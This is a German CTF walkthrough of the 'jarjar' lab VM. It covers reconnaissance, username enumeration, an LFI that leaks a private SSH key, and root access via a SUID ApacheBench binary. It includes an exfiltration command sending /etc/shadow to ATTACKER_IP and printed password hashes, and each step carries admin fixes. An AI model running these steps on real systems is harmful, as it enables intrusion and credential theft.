Start der Aufklärungsphase zur Identifizierung des Ziels "jarjar" und der grundlegenden Dienste im Netzwerk.
192.168.2.106 08:00:27:33:25:71 PCS Systemtechnik GmbH
**Analyse:** Ein ARP-Scan identifiziert die Ziel-IP `192.168.2.106` und die MAC-Adresse `08:00:27:33:25:71`. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.
**Bewertung:** Ziel identifiziert, Virtualisierungsumgebung wahrscheinlich.
**Empfehlung (Pentester):** IP und MAC notieren. VM-Hinweis kann relevant sein.
**Empfehlung (Admin):** Netzwerk auf unautorisierte Geräte prüfen.
127.0.0.1 localhost
192.168.2.106 jarjar.nyx
**Analyse:** Die lokale `/etc/hosts`-Datei wird angepasst, um der IP `192.168.2.106` den Hostnamen `jarjar.nyx` zuzuordnen.
**Bewertung:** Standardverfahren zur Vereinfachung.
**Empfehlung (Pentester):** Hostnamen verwenden.
**Empfehlung (Admin):** DNS bevorzugen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 00:08 CEST Nmap scan report for 192.168.2.106 Host is up (0.00016s latency). Not shown: 994 open|filtered udp ports (no-response) PRT STATE SERVICE 1028/udp closed ms-lsa 1090/udp closed ff-fms 17629/udp closed unknown 17946/udp closed unknown 21566/udp closed unknown 52503/udp closed unknown
**Analyse:** Schneller Nmap UDP-Scan auf die Top 1000 Ports.
**Bewertung:** Keine offenen UDP-Ports unter den Top 1000 gefunden.
**Empfehlung (Pentester):** Fokus auf TCP.
**Empfehlung (Admin):** Offene UDP-Ports minimieren.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 00:08 CEST Nmap scan report for jarjar.nyx (192.168.2.106) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA) |_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519) 80/tcp open http Apache httpd 2.4.61 ((Debian)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.61 (Debian) MAC Address: 08:00:27:33:25:71 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.14 ms jarjar.nyx (192.168.2.106)
**Analyse:** Umfassender Nmap TCP-Scan (`-sS -sC -sV -A -p-`).
**Bewertung:** Findet nur zwei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 9.2p1 (Debian 12) - Aktuell und sicher. * **Port 80 (HTTP):** Apache httpd 2.4.61 (Debian) - Sehr aktuell. Beide Dienste sind auf dem neuesten Stand, was bekannte Schwachstellen unwahrscheinlich macht. Der Fokus muss auf der Webanwendung oder Fehlkonfigurationen liegen.
**Empfehlung (Pentester):** Intensive Untersuchung von Port 80.
**Empfehlung (Admin):** Gute Arbeit bei der Verwendung aktueller Softwareversionen.
Untersuchung des Apache-Webservers auf Port 80.
- Nikto v2.5.0 + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2024-09-01 00:08:01 (GMT2) + Server: Apache/2.4.61 (Debian) + /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 2255, size: 61de6562039a3, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD . + /img/: Directory indexing found. + /img/: This might be interesting. + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-09-01 00:08:20 (GMT2) (19 seconds) + 1 host(s) tested
**Analyse:** Nikto-Scan gegen Port 80.
**Bewertung:** Bestätigt die aktuelle Apache-Version. Findet Standardprobleme: fehlende Security-Header, ETag-Leak. Die Methoden `PST` und `PTINS` sind erlaubt. Directory Indexing ist für `/img/` aktiviert.
**Empfehlung (Pentester):** Untersuchen Sie `/img/`. Prüfen Sie die ungewöhnlichen Methoden.
**Empfehlung (Admin):** Standard-Härtung: Header implementieren, Indexing deaktivieren, unnötige Methoden verbieten, ETag-Konfiguration anpassen.
http://jarjar.nyx/index.php (Status: 200) [Size: 5160] http://jarjar.nyx/contact.php (Status: 200) [Size: 4439] http://jarjar.nyx/about.php (Status: 200) [Size: 5105] http://jarjar.nyx/img (Status: 301) [Size: 306] [--> http://jarjar.nyx/img/] http://jarjar.nyx/login.php (Status: 200) [Size: 4142] http://jarjar.nyx/header.php (Status: 200) [Size: 1588] http://jarjar.nyx/admin.php (Status: 302) [Size: 12891] [--> login.php] http://jarjar.nyx/footer.php (Status: 200) [Size: 797] http://jarjar.nyx/css (Status: 301) [Size: 306] [--> http://jarjar.nyx/css/] http://jarjar.nyx/js (Status: 301) [Size: 305] [--> http://jarjar.nyx/js/] http://jarjar.nyx/config.php (Status: 200) [Size: 0]
**Analyse:** Gobuster-Scan auf Port 80 findet mehrere PHP-Seiten (`index`, `contact`, `about`, `login`, `header`, `admin`, `footer`, `config`) und Verzeichnisse (`img`, `css`, `js`).
**Bewertung:** Bestätigt eine PHP-basierte Anwendung. `admin.php` leitet zu `login.php` weiter, was einen Admin-Bereich nahelegt. `config.php` ist leer oder unzugänglich.
**Empfehlung (Pentester):** Analysieren Sie `login.php` auf Schwachstellen (Benutzer-Enumeration, SQLi, Brute-Force). Untersuchen Sie die anderen PHP-Seiten auf Funktionalität und mögliche LFI/RFI/Command Injection.
**Empfehlung (Admin):** Code-Review der PHP-Anwendung durchführen, Zugriff auf `admin.php` absichern, `config.php` schützen.
* Host jarjar.nyx:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.106 * Trying 192.168.2.106:80... * Connected to jarjar.nyx (192.168.2.106) port 80 > HEAD /config.php HTTP/1.1 > Host: jarjar.nyx > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 K < Date: Sun, 01 Sep 2024 00:30:31 GMT Date: Sun, 01 Sep 2024 00:30:31 GMT < Server: Apache/2.4.61 (Debian) Server: Apache/2.4.61 (Debian) < Content-Type: text/html; charset=UTF-8 Content-Type: text/html; charset=UTF-8 < * Connection #0 to host jarjar.nyx left intact
**Analyse:** Header-Abruf für `config.php`.
**Bewertung:** Bestätigt Status 200 ohne Content-Length, d.h. die Datei existiert, ist aber leer oder der Inhalt wird unterdrückt.
**Empfehlung (Pentester):** Versuchen, über andere Wege an den Inhalt zu kommen (z.B. LFI, falls gefunden).
**Empfehlung (Admin):** Konfigurationsdateien nicht direkt zugänglich machen.
http://jarjar.nyx/contact.php "Never tell me the odds!" ―Han Solo Han Solo Corellia 29 BBY Millenium Falcon Marketing & Business opportunities hansolo@republic Princess Leia Alderaan (born on Polis Massa) Customer care leia@republic Luke Skywalker Tatooine; born on Polis Massa Technical help luke@republic
**Analyse:** Untersuchung des Inhalts von `contact.php`.
**Bewertung:** Enthält Namen (Han Solo, Leia, Luke Skywalker) und E-Mail-Adressen mit der Domain `@republic`. Deutet auf die Domain `republic` hin.
**Empfehlung (Pentester):** `republic` zur `/etc/hosts` hinzufügen. Namen für Benutzer/Passwort-Listen notieren.
**Empfehlung (Admin):** Keine internen Domains/E-Mails auf öffentlichen Seiten preisgeben.
127.0.0.1 localhost
192.168.2.106 jarjar.nyx republic
**Analyse:** Aktualisierung der `/etc/hosts`-Datei.
**Bewertung:** Korrekte Anpassung.
**Empfehlung (Pentester/Admin):** Keine Aktion.
http://jarjar.nyx/about.php#obi obi quigon jarjar
**Analyse:** Untersuchung von `about.php`. Findet weitere potenzielle Benutzernamen.
**Bewertung:** Liefert mehr Kandidaten für Benutzerlisten.
**Empfehlung (Pentester):** Namen notieren.
**Empfehlung (Admin):** Keine Aktion.
http://jarjar.nyx/login.php LGIN PANEL USERNAME [ jarjar ] PASSWRD Invalid Password
http://jarjar.nyx/login.php LGIN PANEL USERNAME [ yoda ] PASSWRD Invalid Username or Password
**Analyse:** Manuelle Login-Versuche auf `login.php`.
**Bewertung:** Die unterschiedlichen Fehlermeldungen bestätigen `jarjar` als gültigen Benutzernamen und `yoda` als ungültigen. Benutzer-Enumeration ist hier möglich.
**Empfehlung (Pentester):** Brute-Force oder Raten des Passworts für `jarjar`.
**Empfehlung (Admin):** Einheitliche Fehlermeldungen verwenden, Account Lockout implementieren.
Nach erfolgreichem Login als `jarjar` (Passwortfindung fehlt im Log) wird das Admin-Panel `/secure_files_admin/files.php` untersucht.
GET /secure_files_admin/files.php?logs=error.log HTTP/1.1
Host: jarjar.nyx
Burpsuite
Response:
Admin Panel -> Logs
[Sun Jul 21 09:21:11.312363 2024] [mpm_event:notice] [pid 8635:tid 8635] AH00489: Apache/2.4.61 (Debian) configured -- resuming normal operations
... (Apache error.log Inhalt) ...
Illegal path specified!
**Analyse:** Im Admin-Panel ermöglicht der `logs`-Parameter in `files.php` das Anzeigen von Logdateien. Der Versuch, `error.log` anzuzeigen, ist erfolgreich, endet aber mit "Illegal path specified!".
**Bewertung:** Klare LFI-Schwachstelle im `logs`-Parameter. Die Fehlermeldung stört nicht das Auslesen des Datei-Inhalts.
**Empfehlung (Pentester):** Ausnutzen der LFI für Directory Traversal.
**Empfehlung (Admin):** LFI beheben!
Ausnutzung der LFI-Schwachstelle in `files.php`, um sensible Systemdateien zu lesen.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... jarjar:x:1000:1000:/home/jarjar:/bin/bash obiwan:x:1001:1001:/home/obiwan:/bin/bash quigon:x:1002:1002:/home/quigon:/bin/bash mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
**Analyse:** Die LFI wird mit einem Directory Traversal Payload genutzt, um `/etc/passwd` zu lesen.
**Bewertung:** Erfolgreich. Bestätigt die Benutzer `jarjar`, `obiwan`, `quigon` mit Bash-Shells.
**Empfehlung (Pentester):** Nächstes Ziel ist der SSH-Schlüssel von `jarjar`.
**Empfehlung (Admin):** LFI beheben!
--BEGIN PENSSH PRIVATE KEY-- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAobM9uwDsl3E5r5YbeMwrggg/PDoooCwbKw5jKCLZybLMzR0bxl ... (SSH Key Inhalt) ... knE2xJtwJWUykAAAANamFyamFyQGphcmphcgECAwQFBg --END PENSSH PRIVATE KEY--
**Analyse:** Die LFI wird genutzt, um den privaten SSH-Schlüssel von `jarjar` zu lesen.
**Bewertung:** **Erfolg!** Der Schlüssel wird ausgelesen. Dies ist der Schlüssel zum Initial Access.
**Empfehlung (Pentester):** Schlüssel speichern, Berechtigungen setzen, auf Passphrase prüfen.
**Empfehlung (Admin):** LFI beheben, sicherstellen, dass Webserver keine SSH-Schlüssel lesen kann.
Verwendung des exfiltrierten SSH-Schlüssels für den Login als `jarjar`.
**Analyse:** Schlüssel wird lokal gespeichert (`idrsa`) und Berechtigungen korrekt gesetzt.
**Bewertung:** Standardvorgehen.
**Empfehlung (Pentester/Admin):** Keine Aktion.
idrsa has no password!
**Analyse:** `ssh2john` stellt fest, dass der Schlüssel keine Passphrase hat.
**Bewertung:** Erleichtert den Login erheblich.
**Empfehlung (Pentester):** Direkter Login ohne Passphrase.
**Empfehlung (Admin):** SSH-Schlüssel immer mit Passphrase schützen!
The authenticity of host 'jarjar.nyx (192.168.2.106)' can't be established. ... Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'jarjar.nyx' (ED25519) to the list of known hosts. Linux jarjar 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 ... Last login: Tue Jul 23 02:56:55 2024 from 192.168.1.47 jarjar@jarjar$
**Analyse:** SSH-Login als `jarjar` mit dem Schlüssel.
**Bewertung:** **Initial Access erfolgreich!** Login ohne Passphrase erfolgreich.
**Empfehlung (Pentester):** Enumeration für PrivEsc.
**Empfehlung (Admin):** LFI beheben, SSH-Schlüssel schützen.
**Kurzbeschreibung:** Eine Local File Inclusion (LFI)-Schwachstelle im Admin-Panel (`/secure_files_admin/files.php`, Parameter `logs`), zugänglich nach einem Login als Benutzer `jarjar` (dessen Passwortfindung im Log fehlt), ermöglichte das Lesen des privaten SSH-Schlüssels von `jarjar` (`/home/jarjar/.ssh/id_rsa`). Der Schlüssel war nicht passwortgeschützt, was einen direkten SSH-Login ermöglichte.
**Voraussetzungen:**
**Schritte (Zusammenfassung):**
**Risikobewertung:** Hoch. LFI führt zur Kompromittierung des Benutzerkontos.
**Empfehlungen:** LFI beheben, SSH-Schlüssel schützen, Webserver-Berechtigungen prüfen.
Wir haben eine Shell als `jarjar` und suchen nach Wegen zu Root.
1048992 640 -rwsr-xr-x 1 root root 653888 Jun 22 14:38 /usr/lib/openssh/ssh-keysign 1062369 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 1046487 36 -rwsr-xr-x 1 root root 35128 Mar 28 04:52 /usr/bin/umount 1047858 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 1044597 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 1044577 72 -rwsr-xr-x 1 root root 72000 Mar 28 04:52 /usr/bin/su 1068217 60 -rwsr-sr-x 1 root root 59824 Jul 7 07:08 /usr/bin/ab 1046483 60 -rwsr-xr-x 1 root root 59704 Mar 28 04:52 /usr/bin/mount 1044593 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 1044596 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 1061091 36 -rwsr-xr-x 1 root root 35128 Apr 18 2023 /usr/bin/fusermount3 1044594 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh
**Analyse:** Suche nach SUID-Dateien.
**Bewertung:** Findet `/usr/bin/ab` (ApacheBench) mit SUID-Root. Dies ist der gleiche PrivEsc-Vektor wie bei der "Discover"-Maschine.
**Empfehlung (Pentester):** Nutzen Sie `ab -p /etc/shadow ...` um den Shadow-Hash zu exfiltrieren.
**Empfehlung (Admin):** SUID von `ab` entfernen.
**(Überspringen der Schritte zur erneuten /etc/passwd-Extraktion, da bereits bekannt)**
**Schritt: Exfiltrieren von /etc/shadow mittels SUID `ab`**
This is ApacheBench, Version 2.3 <$Revision: 1913912 $> ... Benchmarking 192.168.2.199 (be patient)...
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 41726 PST /shadow HTTP/1.0 ... (Header) ... root:$y$j9T$06k8CpwIHWwvgizpHNH30$VTfTBXChehaq8kPRI5Lhh54LIRXdbkoP3ZxGQaxqZ0:19926:0:99999:7: daemon:*:19765:0:99999:7: ... jarjar:$y$j9T$y7ixt3dTbgjxt4LQjYi0$Bl0GkQl0Px0mPpAlcd2sbmgtYLU2i.b5fd.b1br6GyD:19926:0:99999:7: obiwan:$y$j9T$LU4fZlpDkUovM7PrYCCTq1$Z0Cd9Pb0CAXV7GKw4UuQTclFLCP68wKpmjZt5BSiG0:19926:0:99999:7: quigon:$y$j9T$zyvvU9NIXJJe6nIBz6NQS1$WvdsDnrbSrK3DZTV169bIRMDie3YzThjpzX8kT0prrC:19926:0:99999:7: mysql:!:19925
**Analyse:** Der `ab`-Befehl wird korrekt verwendet, um `/etc/shadow` an einen Netcat-Listener zu senden.
**Bewertung:** Erfolgreiche Exfiltration der Shadow-Datei inklusive des Root-Hashes.
**Empfehlung (Pentester):** Root-Hash knacken.
**Empfehlung (Admin):** SUID von `ab` entfernen.
**Schritt: Knacken des Root-Passworts**
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
...
pimpin (root)
...
1g 0:00:00:12 0.01% (ETA: 2024-09-02 21:01) 0.08012g/s 138.4p/s 484.6c/s 484.6C/s fender..freaky
**Analyse:** Der Root-Hash wird extrahiert und mit John the Ripper und `rockyou.txt` geknackt.
**Bewertung:** **Erfolg!** Das Root-Passwort lautet `pimpin`.
**Empfehlung (Pentester):** Verwenden Sie `su root` mit diesem Passwort.
**Empfehlung (Admin):** Starkes Root-Passwort verwenden, SUID-Lücke schließen.
**Schritt: Erlangen der Root-Shell**
Password: pimpin
**Analyse:** Login als Root mit `su` und dem geknackten Passwort.
**Bewertung:** **Privilege Escalation erfolgreich!**
**Empfehlung (Pentester):** Flags suchen.
**Empfehlung (Admin):** Passwort ändern, Lücken schließen.
**Kurzbeschreibung:** Die SUID-Root-Berechtigung auf `/usr/bin/ab` wurde ausgenutzt. Mittels `ab -p /etc/shadow http://ATTACKER_IP:PORT/shadow` wurde der Inhalt der Shadow-Datei an einen Netcat-Listener des Angreifers gesendet. Der extrahierte Root-Passwort-Hash wurde offline mit John the Ripper geknackt (Passwort: `pimpin`). Ein anschließender `su root`-Befehl mit dem geknackten Passwort gewährte Root-Zugriff.
**Voraussetzungen:**
**Schritte (Zusammenfassung):**
**Risikobewertung:** Hoch. Unsichere SUID-Berechtigung führte zur Kompromittierung des Root-Kontos.
**Empfehlungen:** SUID von `ab` entfernen, starkes Root-Passwort verwenden.
cd3afd21332e0ea7c8a47ff6a26387e1
r00t.txt
322f07d15f30d1c4e3009dc5f2decb0f
**Analyse:** Die User-Flag wurde bereits vor der Privilegienerweiterung aus `/home/jarjar/user.txt` gelesen. Nach Erlangung der Root-Rechte wird die Root-Flag aus `/root/r00t.txt` ausgelesen.
**Bewertung:** Beide Flags wurden erfolgreich erfasst.
**Empfehlung (Pentester):** Bericht abschließen.
**Empfehlung (Admin):** Alle Schwachstellen beheben (LFI, unsicherer SSH-Schlüssel, SUID `ab`, schwaches Root-Passwort). Systemintegrität prüfen.